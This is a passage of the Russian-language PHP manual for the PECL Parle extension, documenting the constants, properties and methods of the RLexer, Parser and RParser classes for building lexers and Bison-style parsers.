class Parle\RLexer {
/* Константы */
const int ICASE = 1;
const int DOT_NOT_LF = 2;
const int DOT_NOT_CRLF = 4;
const int SKIP_WS = 8;
const int MATCH_ZERO_LEN = 16;
/* Свойства */
public bool $bol = false;
public int $flags = 0;
public int $state = 0;
public int $marker = 0;
public int $cursor = 0;
/* Методы */
public advance(): void
public build(): void
public callout(int $id, callable $callback): void
public consume(string $data): void
public dump(): void
public getToken(): Parle\Token
public insertMacro(string $name, string $regex): void
public push(string $regex, int $id): void
public push(
string $state,
string $regex,
int $id,
string $newState
): void
public push(string $state, string $regex, string $newState): void
public pushState(string $state): int
public reset(int $pos): void
}

Предопределённые константы

Parle\RLexer::ICASE

Parle\RLexer::DOT_NOT_LF

Parle\RLexer::DOT_NOT_CRLF

Parle\RLexer::SKIP_WS

Parle\RLexer::MATCH_ZERO_LEN

Свойства

bol

Флаг начала ввода.

flags

Флаги лексера.

state

Текущее состояние лексера, только для чтения.

marker

Позиция последнего совпадения токена, только для чтения.

cursor

Текущее смещение ввода, только для чтения.

Содержание

  • Parle\RLexer::advance — Обработка следующего правила лексера
  • Parle\RLexer::build — Завершает набор правил лексера
  • Parle\RLexer::callout — Определяет callback-функцию токена
  • Parle\RLexer::consume — Передаёт данные для обработки
  • Parle\RLexer::dump — Выгружает состояние устройства
  • Parle\RLexer::getToken — v
  • Parle\RLexer::insertMacro — Вставляет макрос регулярного выражения
  • Parle\RLexer::push — Добавляет правило лексера
  • Parle\RLexer::pushState — Продвигает новое начальное состояние
  • Parle\RLexer::reset — Сбрасывает лексер

User Contributed Notes

There are no user contributed notes for this page.


Обработка следующего правила лексера

  • « Parle\RLexer
  • Parle\RLexer::build »
  • PHP Manual
  • Parle\RLexer
  • Обработка следующего правила лексера

Parle\RLexer::advance

(PECL parle >= 0.5.1)

Parle\RLexer::advance — Обработка следующего правила лексера

Описание

public Parle\RLexer::advance(): void

Обрабатывает следующее правило и подготавливает полученные данные токена.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Завершает набор правил лексера

  • « Parle\RLexer::advance
  • Parle\RLexer::callout »
  • PHP Manual
  • Parle\RLexer
  • Завершает набор правил лексера

Parle\RLexer::build

(PECL parle >= 0.5.1)

Parle\RLexer::build — Завершает набор правил лексера

Описание

public Parle\RLexer::build(): void

Правила, ранее добавленные с помощью Parle\RLexer::push(), завершаются. Вызов метода должен быть выполнен после того, как все необходимые правила были переданы. Набор правил становится только для чтения. Лексер готов к запуску.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Определяет callback-функцию токена

  • « Parle\RLexer::build
  • Parle\RLexer::consume »
  • PHP Manual
  • Parle\RLexer
  • Определяет callback-функцию токена

Parle\RLexer::callout

(PECL parle >= 0.7.2)

Parle\RLexer::callout — Определяет callback-функцию токена

Описание

public Parle\RLexer::callout(int $id, callable $callback): void

Определяет callback-функцию, которая будет вызываться, когда лексер встречает определённый токен.

Список параметров

id

Token id.

callback

Callable-функция. Вызываемый объект не получает аргументов, а его возвращаемое значение игнорируется.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Передаёт данные для обработки

  • « Parle\RLexer::callout
  • Parle\RLexer::dump »
  • PHP Manual
  • Parle\RLexer
  • Передаёт данные для обработки

Parle\RLexer::consume

(PECL parle >= 0.5.1)

Parle\RLexer::consume — Передаёт данные для обработки

Описание

public Parle\RLexer::consume(string $data): void

Потребляет данные для лексинга.

Список параметров

data

Данные для лексирования.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Выгружает состояние устройства

  • « Parle\RLexer::consume
  • Parle\RLexer::getToken »
  • PHP Manual
  • Parle\RLexer
  • Выгружает состояние устройства

Parle\RLexer::dump

(PECL parle >= 0.5.1)

Parle\RLexer::dump — Выгружает состояние устройства

Описание

public Parle\RLexer::dump(): void

Выгружает текущее состояние устройства на стандартный вывод.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


v

  • « Parle\RLexer::dump
  • Parle\RLexer::insertMacro »
  • PHP Manual
  • Parle\RLexer
  • v

Parle\RLexer::getToken

(PECL parle >= 0.5.1)

Parle\RLexer::getToken — v

Описание

public Parle\RLexer::getToken(): Parle\Token

Получает текущий токен.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр Parle\Token.

User Contributed Notes

There are no user contributed notes for this page.


Вставляет макрос регулярного выражения

  • « Parle\RLexer::getToken
  • Parle\RLexer::push »
  • PHP Manual
  • Parle\RLexer
  • Вставляет макрос регулярного выражения

Parle\RLexer::insertMacro

(PECL parle >= 0.5.1)

Parle\RLexer::insertMacro — Вставляет макрос регулярного выражения

Описание

public Parle\RLexer::insertMacro(string $name, string $regex): void

Вставляет макрос регулярного выражения, который впоследствии можно использовать в качестве ярлыка и включать в другие регулярные выражения.

Список параметров

name

Имя макроса

regex

Регулярное выражение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет правило лексера

  • « Parle\RLexer::insertMacro
  • Parle\RLexer::pushState »
  • PHP Manual
  • Parle\RLexer
  • Добавляет правило лексера

Parle\RLexer::push

(PECL parle >= 0.5.1)

Parle\RLexer::push — Добавляет правило лексера

Описание

public Parle\RLexer::push(string $regex, int $id): void
public Parle\RLexer::push(
string $state,
string $regex,
int $id,
string $newState
): void
public Parle\RLexer::push(string $state, string $regex, string $newState): void

Добавляет шаблон для распознавания лексемы.

"Начальное состояние" и "состояние выхода" можно указать с помощью подходящей сигнатуры.

Список параметров

regex

Регулярное выражение, используемое для сопоставления токенов.

id

Идентификатор токена. Если экземпляр лексера предназначен для автономного использования, это может быть произвольное число. Если экземпляр лексера будет передан синтаксическому анализатору, это должен быть идентификатор, возвращаемый Parle\RParser::tokenid().

state

Название состояния. Если в качестве начального состояния используется '*', то правило применяется ко всем состояниям лексера.

newState

Новое название состояния после применения правила.

Если в качестве состояния выхода указано '.', то состояние лексера не изменяется, когда правило совпадает. Состояние выхода с '>' перед именем означает добавление. Используйте сигнатуру без идентификатора либо для продолжения, либо для начала сопоставления, когда требуется продолжение или рекурсия.

Если в качестве состояния выхода указано '<', это означает извлечение. В этом случае сигнатура, содержащая идентификатор, может использоваться для идентификации совпадения. Обратите внимание, что даже в том случае, если указан идентификатор, правило завершится первым, когда будут выполнены все предыдущие добавления.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Продвигает новое начальное состояние

  • « Parle\RLexer::push
  • Parle\RLexer::reset »
  • PHP Manual
  • Parle\RLexer
  • Продвигает новое начальное состояние

Parle\RLexer::pushState

(PECL parle >= 0.5.1)

Parle\RLexer::pushState — Продвигает новое начальное состояние

Описание

public Parle\RLexer::pushState(string $state): int

Этот тип лексера может иметь более одного состояния устройства. Это позволяет вам использовать разные токены в зависимости от контекста, что позволяет выполнять простой синтаксический анализ. После отправки состояния его можно использовать с подходящим вариантом сигнатуры Parle\RLexer::push().

Список параметров

state

Название состояния

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает лексер

  • « Parle\RLexer::pushState
  • Parle\Parser »
  • PHP Manual
  • Parle\RLexer
  • Сбрасывает лексер

Parle\RLexer::reset

(PECL parle >= 0.7.1)

Parle\RLexer::reset — Сбрасывает лексер

Описание

public Parle\RLexer::reset(int $pos): void

Сброс лексинга, при желании предоставляя желаемое смещение.

Список параметров

pos

Позиция сбрасывания.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс Parle\Parser

(PECL parle >= 0.5.1)

Введение

Класс парсера. Правила можно определять на лету. После завершения требуется экземпляр Parle\Lexer для доставки потока токенов.

Обзор классов

class Parle\Parser {
/* Константы */
const int ACTION_ERROR = 0;
const int ACTION_SHIFT = 1;
const int ACTION_REDUCE = 2;
const int ACTION_GOTO = 3;
const int ACTION_ACCEPT = 4;
const int ERROR_SYNTAX = 0;
const int ERROR_NON_ASSOCIATIVE = 1;
const int ERROR_UNKNOWN_TOKEN = 2;
/* Свойства */
public int $action = 0;
public int $reduceId = 0;
/* Методы */
public advance(): void
public build(): void
public consume(string $data, Parle\Lexer $lexer): void
public dump(): void
public errorInfo(): Parle\ErrorInfo
public left(string $tok): void
public nonassoc(string $tok): void
public precedence(string $tok): void
public push(string $name, string $rule): int
public reset(int $tokenId = ?): void
public right(string $tok): void
public sigil(int $idx): string
public sigilCount(): int
public sigilName(int $idx): string
public token(string $tok): void
public tokenId(string $tok): int
public trace(): string
public validate(string $data, Parle\Lexer $lexer): bool
}

Предопределённые константы

Parle\Parser::ACTION_ERROR

Parle\Parser::ACTION_SHIFT

Parle\Parser::ACTION_REDUCE

Parle\Parser::ACTION_GOTO

Parle\Parser::ACTION_ACCEPT

Parle\Parser::ERROR_SYNTAX

Parle\Parser::ERROR_NON_ASSOCIATIVE

Parle\Parser::ERROR_UNKNOWN_TOKEN

Свойства

action

Текущее действие синтаксического анализатора, которое соответствует одной из констант класса действия, только для чтения.

reduceId

Идентификатор правила грамматики, только что обработанный в действии сокращения. Значение соответствует токену или производственному идентификатору. Только для чтения.

Содержание

  • Parle\Parser::advance — Обрабатывает следующее правило парсера
  • Parle\Parser::build — Завершает грамматические правила
  • Parle\Parser::consume — Потребляет данные для обработки
  • Parle\Parser::dump — Выводит грамматику
  • Parle\Parser::errorInfo — Получает информацию об ошибке
  • Parle\Parser::left — Объявляет токен с левой ассоциативностью
  • Parle\Parser::nonassoc — Объявляет токен без ассоциативности
  • Parle\Parser::precedence — Объявляет правило приоритета
  • Parle\Parser::push — Добавляет грамматическое правило
  • Parle\Parser::reset — Сбрасывает состояние парсера
  • Parle\Parser::right — Объявляет токен с правой ассоциативностью
  • Parle\Parser::sigil — Извлекает часть совпадения по правилу
  • Parle\Parser::sigilCount — Получает количество элементов в совпадающем правиле
  • Parle\Parser::sigilName — Получает имя правила или токена
  • Parle\Parser::token — Объявляет токен
  • Parle\Parser::tokenId — Получает идентификатор токена
  • Parle\Parser::trace — Следит за работой парсера
  • Parle\Parser::validate — Проверяет входные данные

User Contributed Notes

There are no user contributed notes for this page.


Обрабатывает следующее правило парсера

  • « Parle\Parser
  • Parle\Parser::build »
  • PHP Manual
  • Parle\Parser
  • Обрабатывает следующее правило парсера

Parle\Parser::advance

(PECL parle >= 0.5.1)

Parle\Parser::advance — Обрабатывает следующее правило парсера

Описание

public Parle\Parser::advance(): void

Обрабатывает следующее правило парсера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Завершает грамматические правила

  • « Parle\Parser::advance
  • Parle\Parser::consume »
  • PHP Manual
  • Parle\Parser
  • Завершает грамматические правила

Parle\Parser::build

(PECL parle >= 0.5.1)

Parle\Parser::build — Завершает грамматические правила

Описание

public Parle\Parser::build(): void

Все ранее добавленные токены и грамматические правила завершаются. Набор правил становится доступным только для чтения, и анализатор готов к запуску.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Потребляет данные для обработки

  • « Parle\Parser::build
  • Parle\Parser::dump »
  • PHP Manual
  • Parle\Parser
  • Потребляет данные для обработки

Parle\Parser::consume

(PECL parle >= 0.5.1)

Parle\Parser::consume — Потребляет данные для обработки

Описание

public Parle\Parser::consume(string $data, Parle\Lexer $lexer): void

Потребляет данные для обработки.

Список параметров

data

Данные, которые необходимо обработать.

lexer

Объект лексера, содержащий правила лексирования, подготовленные для конкретной грамматики.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Выводит грамматику

  • « Parle\Parser::consume
  • Parle\Parser::errorInfo »
  • PHP Manual
  • Parle\Parser
  • Выводит грамматику

Parle\Parser::dump

(PECL parle >= 0.5.1)

Parle\Parser::dump — Выводит грамматику

Описание

public Parle\Parser::dump(): void

Выводит текущую грамматику в стандартный вывод.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию об ошибке

  • « Parle\Parser::dump
  • Parle\Parser::left »
  • PHP Manual
  • Parle\Parser
  • Получает информацию об ошибке

Parle\Parser::errorInfo

(PECL parle >= 0.5.1)

Parle\Parser::errorInfo — Получает информацию об ошибке

Описание

public Parle\Parser::errorInfo(): Parle\ErrorInfo

Получает информацию об ошибке в случае, если Parle\Parser::action() вернул действие в случае возникновения ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр Parle\ErrorInfo.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет токен с левой ассоциативностью

  • « Parle\Parser::errorInfo
  • Parle\Parser::nonassoc »
  • PHP Manual
  • Parle\Parser
  • Объявляет токен с левой ассоциативностью

Parle\Parser::left

(PECL parle >= 0.5.1)

Parle\Parser::left — Объявляет токен с левой ассоциативностью

Описание

public Parle\Parser::left(string $tok): void

Объявляет токен с левой ассоциативностью.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет токен без ассоциативности

  • « Parle\Parser::left
  • Parle\Parser::precedence »
  • PHP Manual
  • Parle\Parser
  • Объявляет токен без ассоциативности

Parle\Parser::nonassoc

(PECL parle >= 0.5.1)

Parle\Parser::nonassoc — Объявляет токен без ассоциативности

Описание

public Parle\Parser::nonassoc(string $tok): void

Объявляет терминал, который не может появляться более одного раза в строке.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет правило приоритета

  • « Parle\Parser::nonassoc
  • Parle\Parser::push »
  • PHP Manual
  • Parle\Parser
  • Объявляет правило приоритета

Parle\Parser::precedence

(PECL parle >= 0.5.1)

Parle\Parser::precedence — Объявляет правило приоритета

Описание

public Parle\Parser::precedence(string $tok): void

Объявляет правило приоритета для фиктивного терминального символа. Правило может быть позже использовано в специальных правилах грамматики.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет грамматическое правило

  • « Parle\Parser::precedence
  • Parle\Parser::reset »
  • PHP Manual
  • Parle\Parser
  • Добавляет грамматическое правило

Parle\Parser::push

(PECL parle >= 0.5.1)

Parle\Parser::push — Добавляет грамматическое правило

Описание

public Parle\Parser::push(string $name, string $rule): int

Добавляет грамматическое правило. Возвращённый производственный идентификатор может быть использован позже в процессе синтаксического анализа, чтобы идентифицировать соответствие правилу.

Список параметров

name

Имя правила.

rule

Правило, которое будет добавлено. Синтаксис совместим с Bison.

Возвращаемые значения

Возвращает целое число (int), представляющее индекс правила.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает состояние парсера

  • « Parle\Parser::push
  • Parle\Parser::right »
  • PHP Manual
  • Parle\Parser
  • Сбрасывает состояние парсера

Parle\Parser::reset

(PECL parle >= 0.7.1)

Parle\Parser::reset — Сбрасывает состояние парсера

Описание

public Parle\Parser::reset(int $tokenId = ?): void

Сбрасывает состояние парсера с использованием заданного идентификатора токена.

Список параметров

tokenId

Идентификатор токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет токен с правой ассоциативностью

  • « Parle\Parser::reset
  • Parle\Parser::sigil »
  • PHP Manual
  • Parle\Parser
  • Объявляет токен с правой ассоциативностью

Parle\Parser::right

(PECL parle >= 0.5.1)

Parle\Parser::right — Объявляет токен с правой ассоциативностью

Описание

public Parle\Parser::right(string $tok): void

Объявляет токен с правой ассоциативностью.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает часть совпадения по правилу

  • « Parle\Parser::right
  • Parle\Parser::sigilCount »
  • PHP Manual
  • Parle\Parser
  • Извлекает часть совпадения по правилу

Parle\Parser::sigil

(PECL parle >= 0.5.1)

Parle\Parser::sigil — Извлекает часть совпадения по правилу

Описание

public Parle\Parser::sigil(int $idx): string

Возвращает часть совпадения по правилу. Метод эквивалентен функциональности псевдопеременных в Bison.

Список параметров

idx

Индекс совпадения, отсчитываемый от нуля.

Возвращаемые значения

Возвращает строку (string) с совпадающей частью.

User Contributed Notes

There are no user contributed notes for this page.


Получает количество элементов в совпадающем правиле

  • « Parle\Parser::sigil
  • Parle\Parser::sigilName »
  • PHP Manual
  • Parle\Parser
  • Получает количество элементов в совпадающем правиле

Parle\Parser::sigilCount

(PECL parle >= 0.8.4)

Parle\Parser::sigilCount — Получает количество элементов в совпадающем правиле

Описание

public Parle\Parser::sigilCount(): int

Получает количество элементов в совпадающем правиле.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число (int).

User Contributed Notes

There are no user contributed notes for this page.


Получает имя правила или токена

  • « Parle\Parser::sigilCount
  • Parle\Parser::token »
  • PHP Manual
  • Parle\Parser
  • Получает имя правила или токена

Parle\Parser::sigilName

(PECL parle >= 0.8.4)

Parle\Parser::sigilName — Получает имя правила или токена

Описание

public Parle\Parser::sigilName(int $idx): string

Получение частичного имени правила или имени токена, соответствующего индексу.

Список параметров

idx

Индекс соответствия, отсчёт начинается с нуля

Возвращаемые значения

Возвращает строку (string) с найденной частью.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет токен

  • « Parle\Parser::sigilName
  • Parle\Parser::tokenId »
  • PHP Manual
  • Parle\Parser
  • Объявляет токен

Parle\Parser::token

(PECL parle >= 0.5.1)

Parle\Parser::token — Объявляет токен

Описание

public Parle\Parser::token(string $tok): void

Объявляет терминал, который будет использоваться в грамматике.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получает идентификатор токена

  • « Parle\Parser::token
  • Parle\Parser::trace »
  • PHP Manual
  • Parle\Parser
  • Получает идентификатор токена

Parle\Parser::tokenId

(PECL parle >= 0.5.1)

Parle\Parser::tokenId — Получает идентификатор токена

Описание

public Parle\Parser::tokenId(string $tok): int

Получает идентификатор указанного токена.

Список параметров

tok

Имя токена, используемое в Parle\Parser::token().

Возвращаемые значения

Возвращает целое число (int) представляющее идентификатор токена.

User Contributed Notes

There are no user contributed notes for this page.


Следит за работой парсера

  • « Parle\Parser::tokenId
  • Parle\Parser::validate »
  • PHP Manual
  • Parle\Parser
  • Следит за работой парсера

Parle\Parser::trace

(PECL parle >= 0.5.1)

Parle\Parser::trace — Следит за работой парсера

Описание

public Parle\Parser::trace(): string

Получает описание текущей работы парсера. Может быть полезно для изучения парсера и оптимизации грамматики.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string) с информацией о трассировке.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет входные данные

  • « Parle\Parser::trace
  • Parle\RParser »
  • PHP Manual
  • Parle\Parser
  • Проверяет входные данные

Parle\Parser::validate

(PECL parle >= 0.5.1)

Parle\Parser::validate — Проверяет входные данные

Описание

public Parle\Parser::validate(string $data, Parle\Lexer $lexer): bool

Проверяет входную строку. Строка анализируется внутри, поэтому метод полезен для быстрой проверки ввода.

Список параметров

data

Строка для проверки.

lexer

Объект лексера, содержащий правила лексирования, подготовленные для конкретной грамматики.

Возвращаемые значения

Возвращает логическое значение(bool) в зависимости от того, соответствуют ли входные данные заданным правилам или нет.

User Contributed Notes

There are no user contributed notes for this page.


Класс Parle\RParser

(PECL parle >= 0.7.0)

Введение

Класс парсера. Правила могут быть определены на лету. После завершения необходимо создать экземпляр Parle\RLexer для доставки потока токенов.

Обзор классов

class Parle\RParser {
/* Константы */
const int ACTION_ERROR = 0;
const int ACTION_SHIFT = 1;
const int ACTION_REDUCE = 2;
const int ACTION_GOTO = 3;
const int ACTION_ACCEPT = 4;
const int ERROR_SYNTAX = 0;
const int ERROR_NON_ASSOCIATIVE = 1;
const int ERROR_UNKNOWN_TOKEN = 2;
/* Свойства */
public int $action = 0;
public int $reduceId = 0;
/* Методы */
public advance(): void
public build(): void
public consume(string $data, Parle\RLexer $rlexer): void
public dump(): void
public errorInfo(): Parle\ErrorInfo
public left(string $tok): void
public nonassoc(string $tok): void
public precedence(string $tok): void
public push(string $name, string $rule): int
public reset(int $tokenId = ?): void
public right(string $tok): void
public sigil(int $idx = ?): string
public sigilCount(): int
public sigilName(int $idx): string
public token(string $tok): void
public tokenId(string $tok): int
public trace(): string
public validate(string $data, Parle\RLexer $lexer): bool
}

Предопределённые константы

Parle\RParser::ACTION_ERROR

Parle\RParser::ACTION_SHIFT

Parle\RParser::ACTION_REDUCE

Parle\RParser::ACTION_GOTO

Parle\RParser::ACTION_ACCEPT

Parle\RParser::ERROR_SYNTAX

Parle\RParser::ERROR_NON_ASSOCIATIVE

Parle\RParser::ERROR_UNKNOWN_TOKEN

Свойства

action

Текущее действие парсера, которое соответствует одной из констант класса действия, только для чтения.

reduceId

Идентификатор правила грамматики, только что обработанный в действии сокращения. Значение соответствует токену или производственному идентификатору. Только для чтения.

Содержание

  • Parle\RParser::advance — Обработка следующего правила парсера
  • Parle\RParser::build — Завершает грамматические правила
  • Parle\RParser::consume — Использовать данные для обработки
  • Parle\RParser::dump — Выводит грамматику
  • Parle\RParser::errorInfo — Получает информацию об ошибке
  • Parle\RParser::left — Объявляет токен с левой ассоциативностью
  • Parle\RParser::nonassoc — Объявляет токен без ассоциативности
  • Parle\RParser::precedence — Объявляет правило приоритета
  • Parle\RParser::push — Добавляет грамматическое правило
  • Parle\RParser::reset — Сбрасывает состояние парсера
  • Parle\RParser::right — Объявляет токен с правой ассоциативностью
  • Parle\RParser::sigil — Извлекает совпадающую часть по правилу
  • Parle\RParser::sigilCount — Получает количество элементов в совпадающем правиле
  • Parle\RParser::sigilName — Получает имя правила или токена
  • Parle\RParser::token — Объявляет токен
  • Parle\RParser::tokenId — Получает идентификатор токена
  • Parle\RParser::trace — Следит за работой парсера
  • Parle\RParser::validate — Проверяет входные данные

User Contributed Notes

There are no user contributed notes for this page.


Обработка следующего правила парсера

  • « Parle\RParser
  • Parle\RParser::build »
  • PHP Manual
  • Parle\RParser
  • Обработка следующего правила парсера

Parle\RParser::advance

(PECL parle >= 0.7.0)

Parle\RParser::advance — Обработка следующего правила парсера

Описание

public Parle\RParser::advance(): void

Обработка следующего правила парсера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Завершает грамматические правила

  • « Parle\RParser::advance
  • Parle\RParser::consume »
  • PHP Manual
  • Parle\RParser
  • Завершает грамматические правила

Parle\RParser::build

(PECL parle >= 0.7.0)

Parle\RParser::build — Завершает грамматические правила

Описание

public Parle\RParser::build(): void

Все ранее добавленные токены и правила грамматики будут доработаны. Набор правил становится доступным только для чтения, и анализатор готов к запуску.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Использовать данные для обработки

  • « Parle\RParser::build
  • Parle\RParser::dump »
  • PHP Manual
  • Parle\RParser
  • Использовать данные для обработки

Parle\RParser::consume

(PECL parle >= 0.7.0)

Parle\RParser::consume — Использовать данные для обработки

Описание

public Parle\RParser::consume(string $data, Parle\RLexer $rlexer): void

Использовать данные для обработки.

Список параметров

data

Данные для обработки.

lexer

Объект лексера, содержащий правила лексинга, подготовленные для конкретной грамматики.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Выводит грамматику

  • « Parle\RParser::consume
  • Parle\RParser::errorInfo »
  • PHP Manual
  • Parle\RParser
  • Выводит грамматику

Parle\RParser::dump

(PECL parle >= 0.7.0)

Parle\RParser::dump — Выводит грамматику

Описание

public Parle\RParser::dump(): void

Выводит текущую грамматику в стандартный вывод.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию об ошибке

  • « Parle\RParser::dump
  • Parle\RParser::left »
  • PHP Manual
  • Parle\RParser
  • Получает информацию об ошибке

Parle\RParser::errorInfo

(PECL parle >= 0.7.0)

Parle\RParser::errorInfo — Получает информацию об ошибке

Описание

public Parle\RParser::errorInfo(): Parle\ErrorInfo

Получает информацию об ошибке в случае, если Parle\RParser::action() вернул действие в случае возникновения ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр Parle\ErrorInfo.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет токен с левой ассоциативностью

  • « Parle\RParser::errorInfo
  • Parle\RParser::nonassoc »
  • PHP Manual
  • Parle\RParser
  • Объявляет токен с левой ассоциативностью

Parle\RParser::left

(PECL parle >= 0.7.0)

Parle\RParser::left — Объявляет токен с левой ассоциативностью

Описание

public Parle\RParser::left(string $tok): void

Объявляет терминал с левой ассоциативностью.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет токен без ассоциативности

  • « Parle\RParser::left
  • Parle\RParser::precedence »
  • PHP Manual
  • Parle\RParser
  • Объявляет токен без ассоциативности

Parle\RParser::nonassoc

(PECL parle >= 0.7.0)

Parle\RParser::nonassoc — Объявляет токен без ассоциативности

Описание

public Parle\RParser::nonassoc(string $tok): void

Объявляет терминал, который не может появляться более одного раза в строке.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет правило приоритета

  • « Parle\RParser::nonassoc
  • Parle\RParser::push »
  • PHP Manual
  • Parle\RParser
  • Объявляет правило приоритета

Parle\RParser::precedence

(PECL parle >= 0.7.0)

Parle\RParser::precedence — Объявляет правило приоритета

Описание

public Parle\RParser::precedence(string $tok): void

Объявляет правило приоритета для фиктивного терминального символа. Это правило может быть позже использовано в конкретных правилах грамматики.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет грамматическое правило

  • « Parle\RParser::precedence
  • Parle\RParser::reset »
  • PHP Manual
  • Parle\RParser
  • Добавляет грамматическое правило

Parle\RParser::push

(PECL parle >= 0.7.0)

Parle\RParser::push — Добавляет грамматическое правило

Описание

public Parle\RParser::push(string $name, string $rule): int

Добавляет грамматическое правило. Возвращённый идентификатор может быть использован позже в процессе синтаксического анализа, чтобы идентифицировать соответствие правилу.

Список параметров

name

Имя правила.

rule

Правило, которое будет добавлено. Синтаксис совместим с Bison.

Возвращаемые значения

Возвращает целое число (int), представляющее индекс правила.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает состояние парсера

  • « Parle\RParser::push
  • Parle\RParser::right »
  • PHP Manual
  • Parle\RParser
  • Сбрасывает состояние парсера

Parle\RParser::reset

(PECL parle >= 0.7.1)

Parle\RParser::reset — Сбрасывает состояние парсера

Описание

public Parle\RParser::reset(int $tokenId = ?): void

Сбрасывает состояние парсера с использованием заданного идентификатора токена.

Список параметров

tokenId

Идентификатор токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет токен с правой ассоциативностью

  • « Parle\RParser::reset
  • Parle\RParser::sigil »
  • PHP Manual
  • Parle\RParser
  • Объявляет токен с правой ассоциативностью

Parle\RParser::right

(PECL parle >= 0.7.0)

Parle\RParser::right — Объявляет токен с правой ассоциативностью

Описание

public Parle\RParser::right(string $tok): void

Объявляет токен с правой ассоциативностью.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает совпадающую часть по правилу

  • « Parle\RParser::right
  • Parle\RParser::sigilCount »
  • PHP Manual
  • Parle\RParser
  • Извлекает совпадающую часть по правилу

Parle\RParser::sigil

(PECL parle >= 0.7.0)

Parle\RParser::sigil — Извлекает совпадающую часть по правилу

Описание

public Parle\RParser::sigil(int $idx = ?): string

Возвращает часть совпадения по правилу. Метод эквивалентен функциональности псевдопеременных в Bison.

Список параметров

idx

Индекс совпадения, отсчитываемый от нуля.

Возвращаемые значения

Возвращает строку (string) с совпадающей частью.

User Contributed Notes

There are no user contributed notes for this page.


Получает количество элементов в совпадающем правиле

  • « Parle\RParser::sigil
  • Parle\RParser::sigilName »
  • PHP Manual
  • Parle\RParser
  • Получает количество элементов в совпадающем правиле

Parle\RParser::sigilCount

(PECL parle >= 0.8.4)

Parle\RParser::sigilCount — Получает количество элементов в совпадающем правиле

Описание

public Parle\RParser::sigilCount(): int

Получает количество элементов в совпадающем правиле.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число (int).

User Contributed Notes

There are no user contributed notes for this page.


Получает имя правила или токена

  • « Parle\RParser::sigilCount
  • Parle\RParser::token »
  • PHP Manual
  • Parle\RParser
  • Получает имя правила или токена

Parle\RParser::sigilName

(PECL parle >= 0.8.4)

Parle\RParser::sigilName — Получает имя правила или токена

Описание

public Parle\RParser::sigilName(int $idx): string

Получение частичного имени правила или имени токена, соответствующего индексу.

Список параметров

idx

Индекс соответствия, отсчёт начинается с нуля

Возвращаемые значения

Возвращает строку (string) с найденной частью.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет токен

  • « Parle\RParser::sigilName
  • Parle\RParser::tokenId »
  • PHP Manual
  • Parle\RParser
